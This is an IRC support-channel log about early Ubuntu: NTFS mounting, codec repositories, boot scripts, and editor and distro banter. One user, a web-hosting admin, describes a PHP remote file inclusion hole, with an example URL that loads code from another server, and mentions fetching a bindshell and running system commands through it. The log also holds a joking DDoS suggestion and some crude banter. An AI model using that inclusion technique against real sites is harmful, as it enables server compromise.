[09:12] <jdub> ChrisH: both :-)
[09:12] <ChrisH> jdub: I see.
[09:12] <Pizbit> ChrisH: based on debian snapshots
[09:13] <hypa7ia> as i understand it, stuff gets contributed back into debian, right?
[09:13] <Pizbit> ChrisH: Not the ol' ChrisH from welly eh?
[09:13] <Pizbit> hypa7ia: Yeah
[09:13] <zu22> ChrisH: debian just likes to make sure u do things the Debian Way (tm) :)
[09:14] <hypa7ia> i like how true to that Way ubuntu seems to be, but with, yknow, release dates :-)
[09:14] <ChrisH> Pizbit: welly? perhaps not. :)
[09:14] <__daniel> where can i announce a "give me a newer glibmm" wish?
[09:14] <jdub> __daniel: glibmm will be updated in hoary
[09:14] <Pizbit> ChrisH: Dang, your nick is exactly the same as someone I know in the local lug.
[09:14] <ChrisH> zu22: Debian is currently three words to me: release manager, debian account manager, flamewars
[09:14] <__daniel> jdub: i use hoary
[09:15] <jdub> __daniel: then you'll have it soon
[09:15] <__daniel> jdub: but i'd love to use this: http://www.murrayc.com/blog/index.cgi/tech/2004-11-02-20-30 which would require glibmm-2.5.1
[09:15] <hypa7ia> ChrisH: lol
[09:15] <jdub> __daniel: faster if you send patches, of course
[09:16] <__daniel> jdub: i'll learn the whole packaging stuff one day :-)
[09:16] <zu22> ChrisH: lol
[09:17] <phill> g'day, how can i mount my ntfs partition (read only is fine) from a default fresh install of ubuntu? i've made a directory using sudo mkdir /mnt/store that i want to mount it to, and the partition is at /dev/hda5
[09:17] <hypa7ia> phill: does sudo mount /dev/hda5 /mnt/store work?
[09:18] <phill> no
[09:18] <hypa7ia> doh.  what errors?
[09:18] <hypa7ia> it should i think
[09:18] <phill> oh wait
[09:18] <phill> silly me
[09:18] <hypa7ia> forgot sudo?
[09:18] <phill> hda2!
[09:18] <phill> hehe
[09:19] <hypa7ia> nice :-)
[09:19] <phill> ok, how do i make it so a normal user (me) can view it?
[09:20] <phill> like -t ntfs -o user,ro or something?
[09:20] <hypa7ia> erk, that i don't know
[09:20] <hypa7ia> come to think of it, i need to know as well
[09:20] <hypa7ia> :-)
[09:21] <phill> i'll have a hunt around  man files for it
[09:23] <hypa7ia> coolcool
[09:23] <xip> Can someone tell me what I'm doing wrong?  My normal user account can't access my second hard-drive however I mount it
[09:25] <phill> ditto
[09:25] <hypa7ia> i think we need to change the group it's mounted as
[09:26] <hypa7ia> brb, gotta kill x
[09:30] <synapse> \o/ got my fglrx drivers working
[09:30] <mrjive> http://www.osnews.com/story.php?news_id=8754
[09:30] <synapse> with about 3800 in glzgears
[09:30] <synapse> :D
[09:30] <hypa7ia> synapse: what card?
[09:31] <synapse> 9800pro
[09:31] <hypa7ia> i have a radeon 9700 mobile. have yet to try :-/
[09:31] <synapse> if you follow the guide in the wiki thn it works great
[09:31] <hypa7ia> wicked
[09:31] <synapse> and then add another option to the X cfg
[09:31] <synapse> hmmm.... now to try a game
[09:31] <synapse> tuxracer :P
[09:32] <phill> play some enemy territory :)
[09:32] <hypa7ia> to-do for tonight:  ipw2200 wireless, x config, being able to access the windows partition not as root :-)
[09:32] <synapse> might do
[09:33] <phill> i've figured out the ntfs problem
[09:33] <phill> heres my fstab entry for it
[09:33] <phill> /dev/hda2 /mnt/store ntfs ro,utf8,umask=000 0 0
[09:34] <synapse> phill: did you install any extras to get ntfs to work?
[09:34] <phill> no
[09:34] <synapse> ah
[09:34] <synapse> kk
[09:34] <phill> thats read only btw
[09:34] <synapse> yeah
[09:34] <synapse> they are trying to make a successful rw one
[09:34] <phill> i'm not game to try writing to it at this point
[09:34] <phill> yeah
[09:35] <synapse> it b0rks the partition if you right to it
[09:35] <synapse> atm
[09:35] <xip> phill, you rule.  I got it working.  Thanks
[09:35] <phill> i will convert it to fat on another system eventually, but until then read only is fine for my store partition
[09:35] <phill> no worries :)
[09:35] <hypa7ia> i made mine fat32 so i wouldn't have to deal with this :-)
[09:35] <xip> isn't there something called captive ntfs that is supposed to allow you to write without trashing the fs?
[09:36] <phill> hypa7ia: the wonders of forward thinking, i wish i had made it fat now :(
[09:36] <hypa7ia> :-)
[09:36] <phill> all i need is for this silly file browser to stop opening everything in a new window
[09:37] <Pizbit> phill: 2sec
[09:37] <synapse> phill: right click the folder and do explore
[09:38] <synapse> and it does it explorer like
[09:38] <Pizbit> gconf-editor apps->nautilus->preferences and tick "always_use_browser"
[09:38] <Pizbit> phill: That'll get it to the old style behaviour
[09:38] <phill> ah cool, the browser is much better, thanks heaps :)
[09:39] <Pizbit> phill: That's a matter of opinion:)
[09:39] <phill> true, i remember the contention... i guess it's force of habit, but one i don't see any reason worth breaking it for..
[09:39] <phill> mmm gconf is nice!
[09:40] <Pizbit> Heh, most people hate it
[09:40] <phill> hate having things open in the same window?
[09:40] <__daniel> Pizbit: really?
[09:40] <Pizbit> __daniel: Yeah, either because they find it a pain to use, or having to use it at all, or that they think it's similar to the windows registry
[09:41] <phill> oh gconf
[09:41] <xip> Well at least gconf usually tells you exactly what it is you're changing
[09:42] <__daniel> Pizbit: you mean people who have no clue? :-)
[09:42] <phill> what would be the best program for checking that my tv card (bt848) is working?
[09:42] <jason_> tvtime
[09:42] <jason_> it is an amazing tv app
[09:43] <jason_> I have the same card too phill
[09:43] <phill> cool, apt-get install tvtime ? (+/- sudo)
[09:43] <jason_> + sudo
[09:43] <jason_> yes
[09:43] <duke|ib> i just lost seven times in a row to four-in-a-row
[09:43] <duke|ib> :(
[09:43] <jason_> sudo apt-get install tvtime
[09:44] <jason_> play a real game ;)
[09:44] <phill> phill@phillpc:~ $ sudo apt-get install tvtime
[09:44] <phill> Reading Package Lists... Done
[09:44] <phill> Building Dependency Tree... Done
[09:44] <phill> E: Couldn't find package tvtime
[09:44] <phill> :(
[09:44] <duke|ib> i was waiting for my apt-get update to finish \o/
[09:44] <duke|ib> phill: are you using universe?
[09:44] <jason_> you need the universe
[09:44] <jason_> repository
[09:44] <jason_> sudo gedit /etc/apt/sources.list
[09:45] <jason_> and uncomment the universe repositories
[09:45] <phill> will do
[09:45] <jason_> then apt-get tvtime again
[09:45] <arun--> a good light weight editor for scripting?
[09:46] <jason_> vi
[09:46] <duke|ib> jason_: i believe you need to apt-get update after that
[09:46] <jason_> nano
[09:46] <jason_> gedit
[09:46] <jason_> emacs
[09:46] <duke|ib> nano is the easiest to learn
[09:46] <phill> don't need to apt-get update?
[09:46] <jason_> yes
[09:46] <jason_> sorry
[09:46] <jason_> kate is very good if you want something graphical and don't mind kde apps
[09:47] <phill> nano suits me fine for now, though my friend is always bugging me about vim
[09:47] <jason_> the vim elitism has to stop
[09:47] <wmealing_> nice work on the ppc port of ubuntu
[09:47] <jason_> it isn't better.
[09:47] <klasiphyd> whats good (gui) for admining running services?
[09:47] <wmealing_> there is no vim elitism, its only anti emacsism !
[09:47] <synapse> exactly
[09:48] <synapse> i find nano/pico a lot quicker and easier
[09:48] <jason_> me too
[09:48] <synapse> + you dont have to remember loads of cmds
[09:48] <jason_> why do people hate emacs?
[09:48] <arun--> no color coding in nano
[09:48] <synapse> because they think they are good if they use vi/vim
[09:49] <jason_> they think they are 1337
[09:49] <jason_> lol
[09:49] <hypa7ia> i like both
[09:49] <hypa7ia> haven't really gotten good at either though
[09:49] <jason_> ohh I have to type more to save my document so it must be better
[09:49] <jason_> ;)
[09:50] <klasiphyd> is there any gui for controlling services?
[09:51] <synapse> there are ones out there
[09:51] <jason_> there is in fedora
[09:51] <synapse> but i havent seen one in the apt yet
[09:51] <phill> what does the little padlock icon mean on files in the browser?
[09:51] <jason_> I don't remember the name
[09:51] <jason_> that you don't have write permission phill
[09:52] <jason_> the filesystem you are accessing is ro
[09:52] <BugS> Hi
[09:52] <jason_> oye
[09:53] <xip> Anyone make a recommendation for a good mp3/ogg/flac player?
[09:53] <Treenaks> xip: rhythmbox
[09:53] <duke|ib> xmms, rythmbox
[09:53] <duke|ib> +h
[09:53] <BugS> I have a problem. I want to install some software at my home ubuntu box, but i dont have internet there. What i want to do is get all the i386.deb packages from archive.ubuntu.com burn them and take them home. Is there some convinient way to do this?
[09:53] <tom-cat> duke|ib, rite
[09:54] <duke|ib> :O
[09:54] <BugS> xip: beep mesia player is my player of choice
[09:54] <BugS> beep media player that is
[09:54] <xip> Rhythmbox is having issues with my mp3s.  Complaining that it doesn't have a plugin of some sort
[09:54] <Treenaks> xip: read http://www.ubuntulinux.org/wiki/BinaryFormats
[09:55] <Pizbit> Nah, this one:) http://wiki.ubuntu.com/RestrictedFormats
[09:55] <duke|ib> blah, does anyone know a way of mapping F12 to mouse1+control?
[09:55] <jason_> I like Rhythmbox but I had to remove all none mp3s/vorbis files from my mp3 directory to even get it to load my library
[09:55] <duke|ib> (ibook)
[09:55] <Treenaks> uh
[09:55] <jason_> it has quirks
[09:55] <Treenaks> xip: read http://www.ubuntulinux.org/wiki/RestrictedFormats
[09:55] <Treenaks> xip: sorry
[09:55] <jason_> but looks promising
[09:55] <xip> Treenaks, thanks
[09:55] <BugS> anyone with some idea for my problem?
[09:55] <klasiphyd> bugs, convinient way of downloading, or installing
[09:55] <Pizbit> Nah, this one:) http://wiki.ubuntu.com/RestrictedFormats
[09:55] <Pizbit> oops
[09:56] <Treenaks> BugS: your problem?
[09:56] <Pizbit> Wrong window heh
[09:56] <jason_> you need gstreamer-mad which can be found on the universe repository
[09:56] <jason_> xib
[09:56] <BugS> klasiphyd: downloading
[09:56] <xip> Just read that.  Thanks :)
[09:57] <klasiphyd> dling to a windows or linux box
[09:57] <jason_> they should just add in an easier way to get at restricted formats in hoary like a link on the desktop that points to a shell script that gets all the restricted stuff for you if you agree to a legal disclaimer
[09:58] <duke|ib> it's not that easy
[09:59] <jason_> why?
[09:59] <duke|ib> legally, at least
[09:59] <jason_> other distros have MP3 support
[09:59] <jason_> DVD playback
[09:59] <jason_> flash plugins
[09:59] <BugS> Treenaks:  I want to install some software at my home ubuntu box, but i dont have internet there. What i want to do is get all the i386.deb packages from archive.ubuntu.com burn them and take them home. Is there some convinient way to download all the packages??
[09:59] <klasiphyd> bugs, what os are you going to use to download
[09:59] <jason_> I can understand DeCSS because it does break an ecryption system but MP3 codecs are reverse engineered and do not break any encryption
[09:59] <Treenaks> BugS: apt-cache search apt non-networked
[09:59] <jason_> how could open source mp3 codecs every be illegal
[09:59] <jason_> ?
[10:00] <duke|ib> mp3 codecs aren't open source
[10:00] <jdub> jason_: the mp3 algorithm is patented.
[10:00] <jason_> ever*
[10:00] <Pizbit> jason_: Because they reverse engineered the official ones
[10:00] <jdub> duke|ib: yes they are
[10:00] <jdub> Pizbit: no, that's not why
[10:00] <duke|ib> jdub: well, open source, but under restrictive licenses :)
[10:00] <jason_> reverse engineering isn't illicit?
[10:00] <duke|ib> or just against the patent, whatever
[10:00] <jdub> duke|ib: no, they're not. mad is GPLed.
[10:00] <Pizbit> jdub: Er, I was thinking of the patented bit but I'm typing somehting else too so I didn't bother heh:)
[10:01] <jdub> jason_: it has nothing to do with reverse engineering - the mp3 algorithm is known.
[10:01] <duke|ib> jdub: ah
[10:01] <BugS> klasiphyd: i have debian here at work. I know that if i had ubuntu, i could copy the packages from /var/cache.. but thats not the case
[10:01] <Treenaks> jason_: the algorithm is patented. So if you make a program that uses t hat algorithm ("mp3 player") you might have to pay license fees
[10:01] <duke|ib> that's more towards what i was trying to say!#%
[10:01] <jdub> s/might //
[10:01] <jason_> has the Mpeg forum ever even approached the GNU community?
[10:01] <jason_> asking for fees?
[10:01] <jdub> jason_: thomson is the licensor for mp3
[10:02] <daniels> it's not the mpeg forum, it's fraunhofer
[10:02] <mike14> I am trying to get my sound to work with ubuntu
[10:02] <jason_> oh
[10:02] <jdub> jason_: and they are actively persuing licensing
[10:02] <mike14> i have a couple soundcards and i want to disable all of them except for my sound blaster
[10:02] <mike14> how do i go about this?
[10:02] <Treenaks> jdub: it depends on the patent.. you can get a patent and give licenses away for free
[10:02] <daniels> jdub: oh, is it thomson.  hmm.
[10:02] <Treenaks> jdub: (Free licenses for free..)
[10:03] <daniels> mike14: ehm, with a screwdriver?
[10:03] <xip> How long until the patent expires?
[10:03] <mike14> daniels: embedded
[10:03] <mike14> daniels: i think the screwdriver might be a bad idea
[10:03] <xip> mike14: Try disabling the other through the bios?
[10:03] <jdub> Treenaks: not in the case of mp3
[10:04] <Treenaks> jdub: true
[10:05] <jk24> jdub: hi, where can i found rules/conventions for building packages for ubuntu ?
[10:05] <jason_> It's funny because in an article I have it shows the fraunhofer institute using mandrake 10 to develop their next gen surround sound codec
[10:05] <jason_> I wonder if they'll GPL it
[10:05] <jason_> haha
[10:05] <jdub> jk24: the debian policy
[10:05] <jk24> jdub: ok, and for the naming ?
[10:06] <jdub> jk24: check that the thing you want to package is not already in sid
[10:06] <hypa7ia> argh.  rhythmbox hates me.
[10:06] <jason_> Richard Stallman should DdoS them
[10:06] <jdub> jk24: up to the package maintainer, but some of that is described in debian policy too
[10:06] <jdub> jason_: ...
[10:06] <synapse> my god, steam is working with 100fps in Counter Strike \o/
[10:06] <synapse> :P
[10:06] <jason_> because ddos attacks solve everything
[10:07] <jason_> ...
[10:09] <hypa7ia> yay! i have music now :-)
[10:09] <phill> sorry i just missed all that, how do i get mp3 going?
[10:10] <hypa7ia> http://wiki.ubuntu.com/RestrictedFormats
[10:10] <hypa7ia> it's all there phill
[10:10] <hypa7ia> :-)
[10:10] <phill> thanks
[10:11] <hypa7ia> no problemo
[10:11] <phill>   gstreamer0.8-mad: Depends: libid3tag0 (>= 0.15.0b) but it is not installable
[10:11] <phill> any ideas?
[10:11] <hypa7ia> weird
[10:11] <hypa7ia> what repositories do you have enabled?
[10:11] <hypa7ia> i have universe and multiverse
[10:11] <phill> universe and the default
[10:11] <hypa7ia> first make sure your list is updates
[10:12] <hypa7ia> err updated
[10:12] <Treenaks> phill: and, are you sure you're running warty?
[10:12] <hypa7ia> then maybe try adding multiverse
[10:12] <phill> yes warty 4.10
[10:12] <phill> add what exactly?
[10:13] <hypa7ia> multiverse
[10:13] <hypa7ia> to your /etc/apt/sources.list
[10:13] <hypa7ia> or in synaptic
[10:13] <phill> is that something i uncomment or what?
[10:13] <hypa7ia> nope
[10:13] <hypa7ia> add it after universe
[10:13] <Pizbit> phill: Tack on multiverse to the lines that have universe in them
[10:14] <phill> gotcha :)
[10:14] <phill> thanks
[10:14] <hypa7ia> did it work?
[10:14] <Pizbit> And then update again
[10:14] <phill> updating now, so i will soon see
[10:15] <phill> hmm nope
[10:15] <phill> same error :(
[10:15] <phill> should i uncomment the warty main restricted repositories?
[10:15] <hypa7ia> possibly
[10:15] <hypa7ia> that;s super weird
[10:16] <phill> i'll give it a shot
[10:16] <hypa7ia> it shows up for me in synaptic as an official ubuntu package
[10:16] <hypa7ia> yeah! that should do it
[10:18] <phill> ah all good now
[10:18] <phill> i think its because when i installed, i said no to connecting to the net for updates
[10:18] <Pizbit> Ahh
[10:18] <hypa7ia> hahaha that miht do it :-)
[10:18] <phill> because my dsl is shaped right now to 64kbit, so i didn't want to get a lot of updates
[10:18] <phill> i will run apt-get upgrade overnight
[10:19] <hypa7ia> *nods*
[10:20] <hypa7ia> that's brutal slow man.  is it time-of-day based?
[10:20] <phill> its all good :) picked up my sblive nicely.
[10:20] <hypa7ia> nicenite
[10:20] <phill> no sadly. australian internet is not quite up to scratch
[10:20] <hypa7ia> ahh
[10:20] <hypa7ia> up here in canadaland we have wicked-good dsl
[10:20] <Pizbit> Nor here either.
[10:20] <Pizbit> Slowly slowly slowly getting better
[10:21] <phill> i only have a day left of shaping, usually i don't go over my 20gb of quota, but this month i did
[10:22] <hypa7ia> doh!
[10:22] <hypa7ia> no quotas here :-)
[10:22] <hypa7ia> i downloaded >4 gigs yesterday :-)
[10:22] <hypa7ia> :-)
[10:22] <phill> yeah, i can pay twice the price for unlimited, and probably will if i start downloading more than usual. 1.5mbit is a good speed, just the quota doesn't match it too well.
[10:22] <Pizbit> How big?
[10:22] <leeech> how do i execute a script/program on bootup without login?
[10:22] <hypa7ia> they upped us to 3mbit here
[10:22] <leeech> i tried puttin in /etc/inittab but not workin
[10:22] <leeech> any idea?
[10:22] <Stinger> leeech add it to your rc.local file
[10:22] <leeech> where?
[10:22] <daniels> australian internet is notoriously poor unless you pay up the hizzle.
[10:22] <leeech> etc rc.local?
[10:22] <phill> yeah :(
[10:23] <Pizbit> daniels: NZ's is worse
[10:27] <hypa7ia> it's kinda crap in canada tho.  the gov spent billions making a great infrastrcuture then sold it to bell for $1
[10:27] <hypa7ia> :-(
[10:27] <Pizbit> Smart
[10:28] <leeech> there is no rc.local
[10:28] <leeech> where shud i put?
[10:29] <Stinger> ok
[10:30] <jason_> how can I get vsync in zsnes in opengl?
[10:30] <Stinger> Forgot you running ubuntu
[10:30] <Stinger> must look at it
[10:30] <RuffianSoldier> Gmail sucks, KMail is better, Evolution is the best
[10:30] <Stinger> busy downloading
[10:30] <Stinger> Evolution 2 is great
[10:30] <jason_> gmail is webmail
[10:30] <RuffianSoldier> i know
[10:31] <RuffianSoldier> Evolution rules
[10:31] <Stinger> try openwebmail for your webmail stuff
[10:31] <Stinger> www.openwebmail.org
[10:31] <tuppa> real men telnet to their imapd to read emails ;)
[10:31] <phill> I couldn't see how to get divx/xvid going in the restricted formats faq, does anyone here know how?
[10:31] <Stinger> hmmm
[10:31] <Pizbit> phill: Read to find out how to get w32codecs
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[10:31] <Pizbit> (That same page)
[10:31] <jason_> bye real men you mean men who are too nerdy to ever get any
[10:31] <Stinger> tuppa...men with no lives do that to
[10:31] <jason_> right tuppa?
[10:32] <jason_> by*
[10:33] <leeech> that means there's no way to run a script / program on startup
[10:33] <leeech> :(
[10:33] <tuppa> Stinger: not GPL
[10:33] <Stinger> there must be
[10:33] <jason_> leeech
[10:33] <RuffianSoldier> WTF?!?! JUST HAPPEND!
[10:34] <hypa7ia> netsplit, RuffianSoldier
[10:34] <Stinger> tuppa...hmmm...there are alot of Email Clients for linux that are console based
[10:34] <Tsjoklat> evening all
[10:34] <tuppa> yes I know
[10:34] <jason_> go to sessions in the control centre
[10:34] <tuppa> I feel like trolling :)
[10:34] <RuffianSoldier> hypa7ia, wtf is netsplit?
[10:34] <Keybuk> RuffianSoldier: IRC network splits in half
[10:35] <jason_> then click startup applications
[10:35] <Keybuk> bunch of people on one side, everyone else on the other
[10:35] <leeech> jason... thanks will try
[10:35] <Tsjoklat> desynced Ruffian
[10:35] <leeech> anyway without using gnome
[10:35] <leeech> but from console?
[10:35] <jason_> not that I know of
[10:35] <jason_> I wish it used .xinitrc
[10:35] <leeech> why they remove rc.local?
[10:35] <Stinger> hmmm
[10:37] <Keybuk> there will be a big red notice in a minute with some excuse or other :o)
[10:37] <dredg> irc servers are linked. people join this channel on one server
[10:37] <dredg> and others join this channel on others
[10:37] <dredg> one server delinks and it takes everyone with it
[10:37] <Keybuk> and when it reconnects, everyone comes back :)
[10:38] <phill> they won't even notice...
[10:38] <Inode> recompiling Kernel with 2.6.9
[10:38] <Inode> anyone played with it
[10:38] <GnuHippy> no
[10:38] <Inode> Taking forever on Slackware
[10:38] <GnuHippy> have you tried x.org on ubuntu?
[10:39] <Inode> nope
[10:39] <Inode> downloading ubuntu at the moment
[10:39] <GnuHippy> I have all the dependancies and I am still getting errors
[10:39] <GnuHippy> icic
[10:39] <Inode> usually use RHEL and OPEN BSD
[10:39] <GnuHippy> ewww redhat
[10:39] <Inode> RH works
[10:39] <GnuHippy> why openbsd over free or net?
[10:39] <Inode> been using it for 10 years
[10:39] <GnuHippy> I have used it off and on for 6
[10:39] <Inode> Just preference
[10:39] <Inode> BSD is BSD
[10:39] <GnuHippy> Redhat that is
[10:40] <Inode> Did the RHCE cert ...so I know it backwards
[10:40] <GnuHippy> dependancy hell as I now refer to it
[10:40] <Inode> and Linux is Linux
[10:40] <Inode> all the same under the hood
[10:40] <Inode> just the way the companies put it all together
[10:41] <Inode> also ....most apps are written for RH
[10:41] <GnuHippy> yeah but the package managment sucks
[10:41] <Inode> RPMS available
[10:41] <GnuHippy> up2date is terrible
[10:41] <GnuHippy> yum is too
[10:41] <Inode> So no long compiles with Make and dependency hell
[10:41] <dredg> that depends
[10:41] <Inode> I usually come right
[10:42] <Inode> its all the same tho
[10:42] <Inode> I like Suse to
[10:42] <Inode> use RH...Suse...Slackware
[10:42] <topyli> i know a few people who can handle rh very well. somehow it never breaks on them :)
[10:42] <Inode> I hate Mandrake tho
[10:42] <GnuHippy> I used mandrake from 8.1-10
[10:42] <Inode> I have RH boxes that have been up for 2 years +
[10:42] <GnuHippy> 10 sucked
[10:42] <dredg> 2 years?
[10:43] <Inode> Been using Redhat from 1
[10:43] <dredg> dont you apply security updates?
[10:43] <Inode> Ver 1
[10:43] <Inode> yes
[10:43] <dredg> and you dont reboot for new kernels?
[10:43] <GnuHippy> you can't upgrade Redhat without breaking it
[10:43] <dredg> sorry, uptime is a myth
[10:43] <GnuHippy> like redhat 8 - 9
[10:43] <Inode> I have never had a problem
[10:44] <dredg> i usually get around 50 days before im forced to reboot for one reason or another
[10:44] <Inode> Redhat 8 was problematic
[10:44] <Inode> 9 is fine
[10:44] <Inode> I never run into those kind of problems
[10:44] <Inode> using FC2 at the moment
[10:44] <Inode> and RHEL 4
[10:44] <topyli> i had rh9 when i wanted to try ximian xd2. couldn't get used to it, but it worked just fine
[10:44] <GnuHippy> why not Rawhid?
[10:45] <GnuHippy> rawhide*
[10:45] <Inode> Rawhide stuff is not tested properly
[10:45] <topyli> GnuHippy: you don't actually "use" rawhide :)
[10:45] <dredg> some of us run a load of public-facing servers :) not applying timely kernel upgrades and rebooting to use them isnt an option :)
[10:45] <Inode> Found rule of thumb is stick to the versions that come with the distro and you will not have problems
[10:46] <Inode> put Sendmail 8.13.1 on Redhat 7 box...
[10:46] <Inode> I had so many problems
[10:46] <GnuHippy> I've had more kernel panics in Redhat and Mandrake than any other distro and thats in final versions
[10:46] <Inode> should have just left version 8.11
[10:46] <topyli> dredg: kernel security problems tend to be local
[10:46] <dredg> doesnt matter
[10:47] <Inode> good security policies and Firewalls can usually close alot of software holes
[10:47] <dredg> i work for a web hosting company. youd be amazed at some peoples code
[10:47] <dredg> i cannot take chances
[10:47] <Inode> nope....I would not
[10:47] <Inode> I don't under estimate stupidity
[10:47] <topyli> dredg: well, that's probably true
[10:48] <dredg> topyli: heres an example of a piece of code i spotted on monday night: include ($article."php");
[10:48] <topyli> Inode: yeah, no patch for that coming in the near future
[10:48] <Inode> lol
[10:49] <Inode> Some peoples way of thinking is equivalent to /dev/NULL
[10:49] <dredg> this piece of code allowed anyone to run a php script with file.php?article=http://some.other.server/myownfile&args=whatever%20i%want
[10:50] <topyli> dredg: nice
[10:50] <Sanzen_reprise> goodnight!
[10:50] <Inode> nite
[10:50] <hypa7ia> time for sleep
[10:50] <hypa7ia> nite all
[10:50] <dredg> in fact, with that piece of code, you could wget a bindshell to a writeable directory and execute it. your "local only" argument gets bombed out of the water there :)
[10:50] <Inode> You guys every browse www.distrowatch.com
[10:51] <Inode> http://www.hackinglinuxexposed.com/articles/20030730.html
[10:51] <Inode> Some good security articles
[10:52] <dredg> i tested this myself btw. all i needed was a php script on another server with `system(somecmd); ' and i could execute whatever i wanted (as the apache user)
[10:52] <topyli> dredg: yeah well, there's probably lots of weird code on such servers, and still you have to let unknown people run shit on them, that's for they're for :] 
[10:53] <ChrisH> A question that I ask myself... if Ubuntu is Debian-based but mainly releases more often... then why isn't the effort put into the Debian project? Why do the double-work? It is because the Ubuntu founders decided that the Debian structures are too twisted to be improved? Just curious.
[10:53] <Inode> going to have to chroot jail apache
[10:53] <Tsjoklat> I think it is way more then that ChrisH
[10:53] <dredg> i run a pix as well. it limits a lot of what could happen, but i still cant take chances :)
[10:54] <topyli> ChrisH: the work isn't duplicated really. the ubuntu work does go back to debian
[10:54] <Inode> Mark has alot of money to spend....and it not quite yours without your own name on it!
[10:54] <ChrisH> Tsjoklat: I don't mean to bash either distribution. I'm really interested in Ubuntu. :)
[10:55] <Inode> besides....why improve someone elses stuff when you can make your own
[10:55] <Inode> learn from there mistakes
[10:55] <Tsjoklat> ChrisH a lot of ppl love debian distro but are not too happy about the developers
[10:55] <ChrisH> Tsjoklat: That's exactly the reason I'm disappointed of Debian.
[10:55] <Inode> Debian takes years to move ahead
[10:55] <Tsjoklat> Ubuntu jumped in a big gap
[10:55] <logic____> hey i get errors with shpcp and pciehp on bootup ... is that a common problem?
[10:55] <topyli> ChrisH: also, you can't really run a company with a business plan such as "let's support debian unstable" :)
[10:56] <ChrisH> Debian has one release manager and one debian account manager. It can hardly move if single persons block the whole project.
[10:56] <Inode> Slackware was like that...but they have caught on fast
[10:56] <Tsjoklat> I was reading this bug report last night... a user had problems with gparted.. all the debian developer came up with was: why in the hell do you use that?!?
[10:56] <Pizbit> hahaha
[10:56] <Inode> lol
[10:56] <Inode> Hey is better that....." Just Reboot "
[10:56] <Tsjoklat> or join #debian... ask the wrong question and you'll get banned
[10:56] <ChrisH> I'm thinking about putting more effort into Ubuntu as the scene is much more friendly and motivated.
[10:56] <Inode> Hey its better than....." Just Reboot "
[10:56] <Tsjoklat> change your nick, you'll get banned
[10:57] <Tsjoklat> admit you are a girl, you'll get banned
[10:57] <logic____> lol
[10:57] <ChrisH> Tsjoklat: Although I'm developing for Debian I will never again join #debian or subscribe to debian-devel. My asbestos pants are not certified for that.
[10:57] <hypa7ia> seriously?
[10:57] <Pizbit> Tsjoklat: You're a girl?:)
[10:57] <Tsjoklat> very much so Pizbit :)
[10:57] <Pizbit> Tsjoklat: Pah, you're probably a pot bellied bald old FBI agent:)
[10:58] <Tsjoklat> I had a problem... this op asks me... you are on deb? I said yes sid... he says sid?!? I said yes... he goes.. what is sid...
[10:58] <Tsjoklat> I mean.. really
[10:58] <Tsjoklat> and after your rear Pizbit :P
[10:58] <Pizbit> Hahaha
[10:58] <topyli> hrmph. debian is very cool, but you have to run unstable if you want a desktop. ubuntu basically lets people (even newbies) do that without worries
[10:58] <Tsjoklat> what is sid.. a debian op
[10:58] <Inode> ChrisH....you a developer with Ubuntu?
[10:58] <Pizbit> Tsjoklat: *sigh* This is what I get for believing in stereotypes eh?
[10:58] <ChrisH> So I assume Ubuntu is a reception camp for frustrated DDs. :)
[10:58] <ChrisH> Inode: Not yet.
[10:59] <Keybuk> rehabilitation camp
[10:59] <Tsjoklat> it is too me Chrish :) and I am recovering very swifty
[10:59] <Keybuk> we're the Betty Ford of distros
[10:59] <Inode> also believe in giving back
[10:59] <dredg> sid is this...thing....that....um....omg! a copy of windows!
[10:59] <Tsjoklat> lol you rather me be a bloke Pizbit?
[10:59] <Pizbit> Tsjoklat: Hahaha, I'm impartial, it doesn't make a difference either way, well, unless you were right here in my room.
[11:00] <Tsjoklat> lol one can dream
[11:00] <Tsjoklat> you know... I actually smile at my box now? :)
[11:00] <Pizbit> I leave dreaming for people I *know* to be my type *grin*
[11:00] <Tsjoklat> and don't get me started about libmagick
[11:01] <Tsjoklat> ppl in here now it is my favourite subject
[11:01] <Pizbit> Crikey, I don't.
[11:01] <dredg> oh, and sorry, there is this law about girls using computers. especially linux. you should be adoring puppies or something...
[11:01] <Tsjoklat> this person that maintains libmagick is unable after years to get it right!
[11:01] <Pizbit> Tsjoklat: grep libmagick ~/.xchat/xchatlogs > www.pastebin.com/rants hehehe
[11:01] <gilead_> hi
[11:02] <Tsjoklat> I am not violent but I would love to hang this geezer by his ankles for a day or so
[11:02] <dredg> Tsjoklat: have you tried repackaging it and submitting it to the developer? or is he just dim?
[11:02] <Tsjoklat> I even send him a patch
[11:02] <Tsjoklat> he told me to get lost
[11:02] <dredg> charming
[11:02] <Pizbit> Very
[11:03] <Pizbit> Tsjoklat: What is wrong with it?
[11:03] <Tsjoklat> what isn't wrong with it
[11:03] <Tsjoklat> lol
[11:03] <Pizbit> No idea, don't touch it
[11:03] <Tsjoklat> if it is working.. why does he submit 'updates' every day?
[11:03] <Tsjoklat> do you know? does he?
[11:03] <Tsjoklat> nobody does
[11:03] <Pizbit> Heh
[11:03] <Tsjoklat> he says it is sid so he is testing it
[11:03] <Pizbit> Support it for ubuntu then eh?
[11:03] <Tsjoklat> I guess he doesn't think it needs to be released
[11:04] <Tsjoklat> me luvs ubu
[11:04] <Pizbit> Want to undo the danged thing
[11:05] <Tsjoklat> ah well.. I got so peeved that I gave him the link to debianlesbian
[11:05] <Tsjoklat> told him that perhaps he would be better at developing for them
[11:05] <Tsjoklat> they will never release anything ever
[11:05] <Pizbit> Shows netsplits as one line per each person instead of all on one line.
[11:05] <Tsjoklat> just testing
[11:05] <Tsjoklat> and that is not a joke btw
[11:05] <Tsjoklat> there is really a debian distro named debian lesbian
[11:05] <Tsjoklat> instead of apt-get you type porn-get
[11:05] <Pizbit> Yeah, I ran into it the other day
[11:06] <Pizbit> That's a very bad pun with bad connotations ya know.
[11:06] <RuffianSoldier> I love Ubuntu, and to make it better: I GOT KDE TO WORK! NOW I HAVE KDE, GNOME, And XFCE! THE 3 BEST DESKTOP ENVIRON MENTS
[11:06] <Tsjoklat> Barbie linux sounds more like fun
[11:06] <Pizbit> Heh, that exists?
[11:06] <spacey`ki> link? :P
[11:07] <RuffianSoldier> Ubuntu is the best
[11:07] <Tsjoklat> yes my niece has barbie linux
[11:07] <Tsjoklat> lol
[11:07] <Tsjoklat> "Barbie really likes linux"
[11:08] <RuffianSoldier> ???
[11:09] <Inode> The blonde Distro
[11:10] <Inode> Does webmin work properly with Ubuntu?
[11:11] <wu_ming> hi. how do i add a new ttf font to the system and be recognized with gimp
[11:11] <topyli> Inode: yes
[11:11] <jolg> http://www.divisiontwo.com/articles/barbieOS.htm
[11:11] <topyli> Inode: of course i don't use every module, but what i've tried have worked
[11:12] <RuffianSoldier> Inode, just about everything works properly with ubuntu!
